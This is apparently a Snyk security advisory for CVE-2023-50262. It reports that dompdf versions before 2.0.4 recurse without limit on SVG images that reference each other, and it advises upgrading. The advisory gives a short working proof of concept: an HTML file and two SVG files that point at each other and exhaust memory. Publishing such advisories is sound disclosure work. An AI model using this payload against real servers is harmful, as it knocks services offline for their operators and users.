Improper Input Validation Affecting dompdf/dompdf package, versions <2.0.4


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.08% (38th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PHP-DOMPDFDOMPDF-6124861
  • published14 Dec 2023
  • disclosed13 Dec 2023
  • creditcod3beat

Introduced: 13 Dec 2023

CVE-2023-50262  (opens in a new tab)
CWE-20  (opens in a new tab)

How to fix?

Upgrade dompdf/dompdf to version 2.0.4 or higher.

Overview

Affected versions of this package are vulnerable to Improper Input Validation via the SVG image parsing process. An attacker can send multiple requests that trigger infinite recursion through chained references between two or more SVG images, leading to memory exhaustion and potential system unresponsiveness.

PoC

recurse.html


<img src="one.svg">

one.svg


<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
  <image href="two.svg" />
</svg>

two.svg


<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
  <image href="one.svg" />
</svg>

CVSS Scores

version 3.1